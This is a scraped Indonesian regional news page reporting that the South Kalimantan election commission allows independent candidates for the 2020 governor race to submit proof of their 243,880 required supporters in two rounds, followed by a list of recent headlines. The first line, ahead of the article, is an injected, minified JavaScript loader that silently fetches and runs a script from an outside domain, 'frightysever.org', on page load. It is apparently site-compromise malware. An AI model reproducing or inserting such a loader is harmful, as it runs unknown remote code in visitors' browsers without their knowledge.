(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PILKADA KALSEL

Calon Perseorangan Minimal Punya 243.880 Dukungan, Penyerahan Bukti Dukungan Bisa Dua Kali


BANJARMASIN, Meski belum ada satu pun kandidat bakal calon gubernur dan wakil gubernur Kalsel yang memastikan melirik jalur perseorangan di Pilgub Kalsel 2020 mendatang, KPU Provinsi Kalsel membuka kesempatan calon perseorangan untuk dapat menyerahkan bukti dukungan. Dari yang sebelumnya hanya satu kali saja, menjadi dua kali.

“Di rancangan PKPU Nomor 15, itu penyerahan di tanggal 9 November 2019 hingga 3 Maret 2020. Itu hanya sekali menyerahkan, nah sekarang diubah menjadi dua kali,” kata Ketua KPU Provinsi Kalsel Sarmuji, usai Peluncuran Pemilihan Gubernur dan Wakil Gubernur Kalsel 2020, di Rattan Inn Banjarmasin, Minggu (22/12) malam.

Ditambahkannya, pada penyerahan bukti dukungan pertama dengan jumlah minimal dukungan sebanyak 243.880 dukungan diserahkan dalam rentang waktu antara 16 hingga 20 Februari 2020. Ini merupakan penyerahan dukungan pertama.

“Kami verifikasi faktual, kalau telah memenuhi dukungan sebanyak 243.880 dukungan, maka tidak perlu adanya perbaikan. Namun jika ada kekurangan dukungan, maka akan ada penyerahan di waktu berikutnya,” sebutnya.

Penyerahan bukti dukungan perbaikan sendiri, akan kembali diverifikasi faktual dan direkapitulasi. Jika jumlahnya memenuhi syarat minimal dukungan, maka calon perseorangan dapat ikut maju Pilgub dan mendaftar pada 6 hingga 8 Juni 2020 mendatang.

“Sebetulnya tidak berubah, tetapi dibagi dua. Ada perubahan pertama, dan kedua kekurangannya dua kali lipat dari jumlah kekurangan,” paparnya.

Seperti diketahui, untuk bisa ikut serta pada Pilgub Kalsel 2020 mendatang, dibutuhkan bukti dukungan minimal sebanyak 243.880 dukungan, dengan sebaran minimal di 7 kabupaten dan kota di Kalsel. Ini tertuang dari pedoman tenis dan keputusan dukungan minimal calon perseorangan yang menjadi acuan KPU Provinsi Kalsel dalam penyelenggaraan Pilgub Kalsel 2020 mendatang. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

6 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

7 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

10 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

11 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

12 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

14 jam ago

This website uses cookies.